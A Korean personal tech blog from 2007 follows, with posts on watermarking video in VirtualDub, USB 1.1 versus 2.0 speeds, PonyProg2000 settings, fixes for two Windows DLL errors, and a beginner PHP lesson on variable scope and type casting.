즘 인터넷을 서핑 하다보면 UCC 동영상을 흔히 접할 수 있다. 디지털 카메라, 디지털 캠코더 등의 영상촬영 장비가 보편화 되면서 일반인에 의해서 촬영되고 각종 UCC동영상 포털을 통하여 배포되고 있다. 위의 디지털 영상촬영 장비를 사용하여 촬영된 동영상은 촬영당시동영상 정보만을 담고 있다. 하지만 동영상 정보특수한 표시를 추가 하고 싶을 때가있을 것이다. 가령 저작자 표시 한다거나 동영상으로 편지를 작성한 경우 아래 문자나 기호를 덧붙여 꾸미고 싶을 때가 있다. JPG 같은 정지화상포토샵, 윈도우즈 그림판 등과 같은 편집툴을 사용하면 내가 원한 결과물을 얻을 수 있다. 그러나 동영상의 경우에는 위의 툴만으로는 내가 원한 결과를 만들기가 어렵다 여기에서 동영상에 워터마크를 넣는 방법을 소개 하겠다.


영상은 수많은 프레임정지화상으로 이루어진다. 이런 이유로 동영상을 편집 하기위해서는 정지화상편집할 수 있는 툴과 동영상을 편집 할 수 있는 툴이 필요하다. 정지화상 편집은 상용소프트웨어지만 이미 우리에게 친숙해 있는 포토샵을 사용 할 것이다. 흔히 쓰이고 있는 동영상편집 툴로는 프리미어가 있지만 상당히 고가이다. 여기에서는 버추얼덥을 사용 하겠다.  버추얼덥은 프리웨어지만 기능이 상당히 강력한 기능을 가지고 있다.


동영상워터마크를 추가하기 위해서는 정지화상워터마크 원안이 필요하다. 포토샵을 이용하여 다음과 같이 편집을 한다.


1. CTRL + N 키를 눌러 새로 만들기를 한 후에 가로 600 세로 30 (단위 픽셀)정도를 입력하고 모드는 RGB칼라를 선택 후 확인(OK)을 누릅니다. (동영상의 해상도가 640 * 480 이라고 가정했을 경우)


사용자 삽입 이미지
 


2. 도구 모음에 있는 색상선택을 눌러 색상 팔레트 창을 열고 R(Red) 0, G(Green) 0, B(Blue) 255의 색상 값을 입력 후 OK(확인)을 누릅니다.


사용자 삽입 이미지


3. 도구 모음의 사각선택툴을 선택 하고 새로 만들기 한 창을 마우스로 클릭하여 활성화 시킵니다. CTRL + A 키를 눌러 전체영역을 설정한 후 마우스의 오른쪽 버튼을 눌러 팝업메뉴Fill(채우기)를 선택하고 OK(확인) 눌러 바탕을 파란색으로 만듭니다.


사용자 삽입 이미지


4. 도구 모음의 텍스트 입력 툴을 선택하고 적당한 글자 모양과, 글자 크기, 글자 색을 설정해 줍니다. 그리고 반드시 안티알리아스 설정NONE로 설정해 줍니다. 설정이 다 되셨다면 파란색으로 화면 위에 워터마크로 사용될 글자를 입력해 줍니다.


사용자 삽입 이미지


5. CTRL + SHIFT + S 키를 눌러 새로 저장하기를 합니다. 파일이름 란에 저장할 파일명을 입력하고 파일 포맷BMP 로 선택 후 저장 버튼을 누릅니다.


사용자 삽입 이미지


6. BMP Option 창이 뜨면 아래 그림과 같이 설정한 후 저장 버튼을 누릅니다.


사용자 삽입 이미지


번째로 위의 워터마크 파일동영상추가 하면 된다. 버추얼덥실행 하여 아래의 내용과 같이 실행 하여 주면 된다.(여기에서는 1.6.15 버전을 사용하도록 하겠다.)


1. CTRL + O 키를 눌러 편집할 동영상 파일을 불러옵니다.


사용자 삽입 이미지


2.  Video 풀다운 메뉴의 Full processing mode를 선택합니다.  CTRL + F 키를 눌러 Filters 창을 열고 ADD 버튼을 눌러 Add Filter창을 띄운 후 그림과 같이 필터를 선택 해 줍니다. 선택을 하셨으면 Add Filter창의 OK 버튼을 누릅니다.


사용자 삽입 이미지


3. Input file 카테고리의 Browse버튼을 누른 후 위에서 포토샵으로 만들어 두었던 BMP  파일을 불러옵니다. Transparent Color 카테고리의 내용을 그림과 같이 설정합니다.


사용자 삽입 이미지


4. Show Preview 버튼을 눌러 미리보기 창을 띄운 후 Spece and time coordinates 카테고리의 X, Y 좌표막대를 마우스로 조절 하여 워터마크의 출력위치설정합니다. 다하셨으면 Hide Preview 버튼을 눌러 미리보기 창을 닫아 주시고 OK버튼을  누릅니다. FiltersOK 버튼도 눌러 창을 닫습니다.


사용자 삽입 이미지


5. File 풀다운 메뉴Save as AVI 를 누릅니다.


사용자 삽입 이미지


6. 파일 창이 뜨면 파일이름 란에 저장할 파일명을 입력 하고 파일 형식은 그림과 같이 avi를 선택후 저장 버튼을 누른 후 작업을 완료 합니다.


사용자 삽입 이미지


지털 영상 기기가 보편화된 지금 이지만 아직 동영상의 편집은 어렵고 전문 적인 지식이 있어야 만 할 수 있는 것으로 인식되고 있다. 하지만 컴퓨터만 있다면 누구나 편집하고 수정할 수가 있다. 그에 대한 한 가지 예로 동영상워터 마크추가 하는 방법에 대해서 소개했다. 위의 방법을 활용하여 자신 만의 워터마크가 새겨진 동영상을 만들어 보면서 동영상 편집도 정지화상을 편집 하는 것처럼 어렵지 않은 것이라는 것을 알아 줬으면 하는 바람이다.


2007.08.18 -프미케-
금 쓰고 있는 펜티엄4 컴퓨터의 하드디스크가 용량이 거의 다 차서 신형의 용량이 큰 하드 디스크를 장착 할까 하다가 휴대성이 좋은 외장 하드를 구입하기로 했다. 인터넷 쇼핑몰을 돌아다녀 보니 상당히 많은 업체가 외장 하드들이 눈에 들어왔다. 일단 열전도가 좋은 알루미늄 케이스를 사용한 것을 선택하기로 했는데 요즘 대부분의 외장하드 케이스가 알루미늄으로 제작되고 있다. 그리고 중요한 것이 하드디스크 데스크탑에는 시게이트社의 바라쿠다 시리즈가 들어있지만 요즘 삼성하드도 상당히 품질 좋다고 한다. 그래서 삼성 하드 제품이 탑재된 외장 하드를 구입하였다.


장 하드디스크USB포트로 컴퓨터와 연결된다. 하드디스크를 설치하고 데이터를 전송해보니 상당히 오랜 시간이 걸렸다. 설명서를 보니 USB 2.0의 경우에 480Mbps(bit per second) 가 지원된다고 한다. 현제 사용하고 있는 용량은 바이트(Byte) 단위를 사용 한다. 1바이트는 8비트 이다. 480Mbps를 바이트로 환산해보면 480Mbps / 8 = 60MByte 가 된다 1초당 60메가 바이트가 전송된다. 영화 한편이 약 700MB 정도이니 약 12초 정도면 자료를 옮길 수 있다. 물론 이것은 이론상의 수치이다 실제에서는 외부의 지연요소가 있어 이것 보다는 느리지만 20초 안에는 전송 할 수 있다.


제는 여기에 있었다. 컴퓨터가 구형이라 USB 2.0이 지원 되지 않기 때문에 데이터가 가는데 상당히 오랜 시간이 걸렸던 것이다 이전에 컴퓨터들에 쓰였던 USB는 1.1 버전이다 스펙을 보면 FULL 12Mbps, Low 187.5Kbps 라고 적혀있다. FULL과 LOW 설정은 사용자가 하는 것이 아니라 PC가 상황에 따라 선택해서 사용하게 된다. FULL 로 가정하고 속도를 계산해보면 12Mbps / 8 = 1.5MByte 가 된다. 700MB 의 영화 한편을 전송하는데 약 8분 정도가 된다. LOW 의 경우에는 약 30분이 걸린다. 둘이 평균을 내보면 20분 정도가 걸린다. 여기에 지연요소까지 가만 한다면 23분 정도가 된다.


의 내용으로 보면 1.1과 2.0의 속도 차이는 크다 구형 컴퓨터는 USB 2.0이 지원 되지 않는다. 하지만 걱정 하지 않아도 된다. 구형 컴퓨터도 USB 2.0 확장 카드를 설치하면 컴퓨터를 바꾸지 않아도 2.0 을 사용할 수 있다. 인터넷 쇼핑몰을 알아보니 가격도 저렴 하다. VIA칩셋을 사용한 것이 더 저렴하긴 하지만 개인적으론 NEC칩셋을 선호 하고 있다. VIA 경우 5,000~7,000원의 제품들이 있었다. NEC칩셋 사용 제품은 약 1만원 내외로 조금 더 비싸지만 더 안정성이 더 낳은 것으로 평가되고 있다.


USB 2.0 확장 카드를 이용해서 사용한다면 구형 컴퓨터충분히 활용 할 수 있을 것이다 .


2007.08.16 -프미케-

AVR 을 공부하면서 Ponyprog2000과 ISP 사용해 MCU에 프로그램을 기록해서 결과를 확인하곤 한다. 하지만 ISP를 사용해 MUC로 다운로드 할 경우 느린 속도 때문에 프로그램을 수정하고 MCU에 기록하고 다시 결과를 확인을 반복하는 작업을 할 경우 상당히 많은 시간이 소요된다. 이런 경우를 해소하고자 인터넷을 검색한 결과 USB-ISP를 사용하면 빠르게 수행된다고는 하지만 병렬포트를 사용한 ISP에 비해 가격이 만만치 않다. 여러 방법을 찾아본 결과 병렬 포트를 사용한 ISP와 Ponyprog2000을 활용할 경우에도 수행 속도를 높이는 방법이 있어 여기에서 소개하고자 한다.

 1) C:\program files\ponyprog2000 폴더(기본 경로에 설치하지 않은 경우 ponyprog2000 을 설치한경로) ponyprog2000.ini 파일을 메모장과 같은 텍스트 에디터 를 이용하여 열어줍니다. (그림첨부)

사용자 삽입 이미지


 2) 다음과 같화면이 나오면 아래 표시된 것과 같이 SPIBusSpeed=FAST, VerifyAfterWrite=NO 로 변경해 줍니다. (그림첨부)

사용자 삽입 이미지

3) 설정이 완료 되었으면 ponyprog2000을 수행 하여 MCU로 프로그램을 다운 로드합니다. (그림첨부)

사용자 삽입 이미지

필자의 수행결과는 대만족 이었다 평소 3~4분 걸리던 작업이 불과 수 초 만에 완료 되었다. 속도도 빨라졌으며 여전히 안정적임을 확인 할 수 있었다. 여러분들도 위의 설정으로 ISP의 수행속도를 보다 빠르게 활용해보기 바란다.


* 변경항목을 찾지 못해 설정을 하지 못한 분들을 위해 설정 파일을 첨부 합니다. 첨부파일의 압축을 푼후에  ponyprog2000.ini 파일을 C:\program files\ponyprog2000(기본 경로에 설치하지 않은 경우 ponyprog2000 을 설치한경로)에 복사해주시면 됩니다.



2007.08.14 - 프미케 -
사용자 삽입 이미지
 

운영체제 : Windows 시리즈


에러메세지 : xvid.dll not found


원인 : xvid 코덱으로 인코딩된 파일에 대한 윈도우 미리보기 요청시 xvid코덱이 설치되어있지 않음


해결방법 : c:\Windows\system32(windows 2000의 경우는 c:\winnt\systen32)폴더에 xvid.dll 파일을 복사해 넣거나 xivd가 포함된 코덱을 설치해함.


- 2007.08.12  프미케-
 안녕하세요? 프미케 예요 요즘 날씨가 무척덥네요 오늘은 AVR c 크로스 컴파일러의 하나인 IAR EWAVR의 사용법에 대해서 알아보도록 할께요 (글씨가 잘안보이시면 해당그림파일을 눌러크게보시면 잘보여요 ^^v)

사용자 삽입 이미지

사용자 삽입 이미지

사용자 삽입 이미지

사용자 삽입 이미지

사용자 삽입 이미지

사용자 삽입 이미지

사용자 삽입 이미지

사용자 삽입 이미지

사용자 삽입 이미지

사용자 삽입 이미지

20070609 -프미케-
폴더 열어서 일일이 저장하기 귀찮아서 바탕화면에 너저분하게 늘어놨었는데 찾기가 하도 어려워서 고민 끝에 바탕화면에 배경파일로 공간 구획해서 나눠봤어요

이렇게 하면 실수로 자동정렬 하거나 해상도 변경해서 아이콘 배치가 흐트러지면 다시 하기가 까다로운데 찾아보니 아이콘 배치를 저장했다가 복구할 수 있는 프로그램이 있네요 이렇게 쓰니 파일 관리가 훨씬 편해요 ^^v

 


2007.05.22 -프미케-


 
사용자 삽입 이미지


운영체제
: Windows2000 시리즈


에러메시지 : 프로시저 시작 지점 RtlUnhandledExceptionFilter을(를) DLL ntdll.dll에서 찾을 수 없습니다.


원인 : MS에서 윈도우즈 업데이트 과정에서 XP에 필요한 APPHELP.DLL파일이 윈도우즈2000에까지 패치가 되어 발생하는 오류임.


해결방법 : c:\winnt\system32\에 있는 APPHELP.DLL파일을 삭제 혹은 파일명 변경

^^v 2007.05.23 -프미케-

 4. PHP 프로그래밍을 위한 준비작업 - 자료형, 변수(2)

안녕하세요? 프미케예요 벌써 5월의 중순이 되었네요. 날씨도 참 맑구 어그제 하구 오늘은 비도좀 왔긴하지만 그치구 나면 참 상쾌한거 같아요 저번 강좌 까지 해서 php에서 사용되는 자료형의 의미와 변수란 무엇인가 대해서 알아봤어요. 오늘은 이제 우리가 쓰는 그릇이 접시, 사발, 밥그릇 등등.. 있는것처럼 자료를 담는 그릇인 변수에도 용도에 따라서 종류가 있어요 그거하구 이제 난 처음에 숫자형으로 자룔를 선언했는데 문자형으로 처리해야할 경우가 생겨요 이렇게 되면 자료형을 변환해주어야 하거든요 이 두 개에 대해서 알아보도록 할께요.


변수의 종류는 전역변수, 지역변수, 정적변수, 유동변수로 나눌수가 있어요 이것들은의 의미를 알고 계시면 사용용도에따라서 편하게 사용하실 수 있을것이라 생각 네요

* 전역변수

전역 변수라는것은요 음.. 내가 만든 소스 전체에 영향을 끼지는 변수를 말해요 보통 자주쓰이는 초기 선언해놓고 전역변수로 사용하게 되죠 그냥 명령어들만 사용해서 간단하게 제작을 할경우에는 위에다가 코드 맨윗줄이 ‘$val=초기값’ 이라고 선언하고 쓴다면 그 페이지내에서 전역변수로 작용하겠죠 하지만 함수를 사용한 경우엔 좀 사용법이 틀리게 되요 함수는 이제 어떤 특정한 기능의 코드가 많아서 그냥 코드를 하나의 이름으로 대치시킨 것이거든요 일단 아래에서 예를 들어볼께요

예제 1)

<?

$val = "안녕하세요?“;

       ......

echo "$val“;

?>

위코드는 $val라는 변수에 “안녕하세요”라는 값을 넣은후 아래 echo "$val" 명령에의해서 브라우져에 안녕하세요? 라고 출력이 되어요 중간에 $val 라는 변수의 값을 바꾸지 않는이상 $val의 값으 항상 ”안녕하세요?“를 가지고 있게 되죠 그럼 다음 예제를 볼까요?

예제 2)

<?

$val = "안녕하세요?“;

function printhello()

{

global $val;

echo $val;

}

       ........

printhello();

?>

이것역시 예제 2와 같은 결과를 나타내요 근데 중간에 보면 function printhello() 라고 선언하고 제일 아랫줄에 함수명을 호출 해주면서 내부 코드를 실행해주게 하고 있어요 프로그램의 양이커지고 코드가 길어지면 함수가 매우유용하게 쓰이죠 반복 작업 같은 경우에 일일이 다 코드로 쳐넣지 않구 저렇게 함수로 처리해서 뒤에서 호출을 해서 타이핑 해야할 양을 줄이는 방법을 많이 써요 근데 함수안에서는 global $val라고 쓰여있군요 함수안에서 함수 외부의 변수를 불러올려면요 위에 처럼 ‘global 변수명’ 이렇게 사용해주셔야 하구요 위에 $val 처럼 코드 전체에 영향을 주는 변수를 전역변수 혹은 글로벌 변수라고 한답니다.

*지역 변수

지역 변수는 음 일정 코드의 일정 영역(지역)에 영향을 끼치는 변수를 말하고 있어요 일단 예제를 한본 볼까요?

<?

$val = "안녕하세요?“;

function printhello()

{

$val = “반갑습니다.”;

echo $val;

}

       ........

printhello();

?>

위의 예제는 형태가 전역변수의 예제와 비슷하네요 하지만 이것을 실행시키면 브라우져에는 반갑습니다. 라고 출력되어요 초기에 $val=“안녕하세요” 라고 선언을 했지만 함수 안의것을 보면 $val="반갑습니다.“라고 되어있지요 그럼 함수내의 $val은 함수 내에만 영향을 주게 되죠 이처럼 어떤 일정한 지역에 영향을 주는 변수를 지역변수라고 한답니다.


*정적변수

함수를 호출하면 변수는 초기화가 되거든요 그런데 정적 변수를 쓰게 되면 함수를 호출하게 되어도 그값은 초기화가 되지 않게 되어요  아래예제를 볼까요?

<?

function addstatic()

{

$val=1;                // 변수 $val 을 선언하고 값을 1로 초기화한다

echo "$val &nbsp;";   // $val 을 출력하고 한칸을 띄운다

$val = $val + 1;     //  $val 값에 1을 더한다.

}

addstatic();

addstatic();

addstatic();

?>

자 위의 addstatic 라는 함수가 있네요 위의 코드를 실행시키면요 결과는

1 1 1

이렇게 나오게 되어요 함수를 호출하게 되면 값이 초기화되어서 출력후 1을 더한 값이 초기화 되어버리기 때문에 계속 1일 출력되게되죠

<?

function addstatic()

{

static $val=1;                // 변수 $val 을 선언하고 값을 1로 초기화한다

echo "$val &nbsp;";   // $val 을 출력하고 한칸을 띄운다

$val = $val + 1;     //  $val 값에 1을 더한다.

}

addstatic();

addstatic();

addstatic();

?>

하지만 위에 처럼 변수 앞에 static를 붙여주게 되면요 위의 결과 소스 결과는요

1 2 3

이렇게 나와요 이것처럼 쓰이는 것을 정적 변수라고 한답니다.


*유동변수

이제 유동변수에 대해서 알아볼 차례예요 음 일단 유동변수는 제 생각에는 실제로 코드 작성을할 때 많이 쓰이지를 않는 것 같아요 또 유동변수를 이용해서 코드를 작성할 때 잘못하면 찾기 힘든 악성버그를 만들어내기도 쉬워서 이런 이유로 잘 사용하지는 않지만 한번 알아보기로 해요 일단 예제를 들어서 설명해 드릴께요

<?

$morning = “안녕하세요”;  //$morning 값을 ‘안녕하세요’라고 선언한다

$bow = "morning";        //$bow 값을 ‘morning’라고 선언한다

$var = $bow;             //$var 값을 $bow값 과 같다고 선언한다.

echo $$var;              //$var의 값을 변수로 변환하어 출력한다.

?>

위의 코드를 실행 하면 ‘안녕하세요?’ 가 출력되어요?  일단 $morning 의값은  안녕하세요 라고 선언했네요  $bow의 값은 morning이 되겠지요? 그럼 $var의 값은 과 $bow의 값이 같으니 $bow의 값은 morning가 되겠죠? 여기서 중요한것이 출력문인 echo 뒤에 $$var;이라고 써있어요 변수는 $[변수명]이렇게 쓴다고 했었는데 여기에서는 $$[변수명]이 쓰였군요 이것의 의미는요 앞의 설명으로보면 $var = "morning"와 같다고 설명했어요 근데 $$var = $morning 변수명앞에 $을 두 개 붙이면 앞에처럼 되어요 그렇게 때문요 $morning 의 값인 ‘안녕하세요’가 출력되는 것이구요 이처럼 변수의 해당값을 다시 변수로 바꾸어서 사용하는 것을 유동변수라고 한답니다.

이렇게 해서 변수에 대해서 알아보았어요. 이제 자료형 변환에 대해서 알아볼 차례네요 앞에서 자료의 형태는요 정수형 실수형 문자열 자료가 있었어요 필요해 의해서 숫자 자료를 문자료 변환해주어야 할때도 있구 컴퓨터에서 처리하는 문자 역시 숫자로 된 값으로 이루어져있어요 이렇기 때문에 문자를 숫자로 변환해야하는 필요성이 생기게 되요

그럼 예제를 하나 들어볼께요 자료형을 바꾸기위해서는 자료형을 바꾸기 위한 연산자가 필요해요 연산자는 아래와 같아요

(int), (integer) 정수형

(float), (double), (real) 실수형

(string) 문자열

이렇게 되구요 예제를 하나 들어보기로 할께요

<?

$val = 25.245;    //$val의 값을 24.245라고 선언

$val_int = (int)$val; //$$val_int의 값을 정수로 변환된 $val값을 선언

$val_float = (float)$val; //$$val_float 의 값을 실수로 변환된 $val값을 선언

$val_str = (string)$val; //$$val_str 의 값을 문자열 변환된 $val값을 선언

echo "$val_int &nbsp; ,"; //$val_int의 값을 출력하고 , 출력후 한칸띄움

echo "$val_float &nbsp; ,"; //$val_float의 값을 출력하고 , 출력후 한칸띄움

echo "$val_str";  //$val_str의 값을 출력

?>

위 코드의 값은 25 , 25.245 , 25.245 가 나오게 되죠 맨처음에 25가 나온이유는요 실수형 자료를 정수형으로 변환하였기 때문에 소숫점 이하는 출력이 되지 않게 되요 그리고 두 번째 24.245는 실수 형으로 변환 하여 출력한 것 이라 원래 값이 그대로 나온 것 이예요. 그리고 마지막의 24.245는 값은 처름과 같지만 이것은 문자열 처리되서 출력된 값을 말하는것이예요 두 번째 것과는 의미가 약간 다르게 되죠 이렇게 필요에따라서 자료형 연산자를 사용해서 자료의 형태를 바꿀수가 있어요.

이렇게 해서 벌써 php 프로그램을 하기 준비가 점점 되어가고 있어요 여기까지 읽느라고 수고하셨구요 의문점이나 기타 문의사항이 있으시면 댓글 남겨주시면 확인 되는대로 답변 해드릴께요 그럼 다들 좋은 하루 되세요 ~ 파이팅~!! ^^v  -2007.05.22 프미케-

+ Recent posts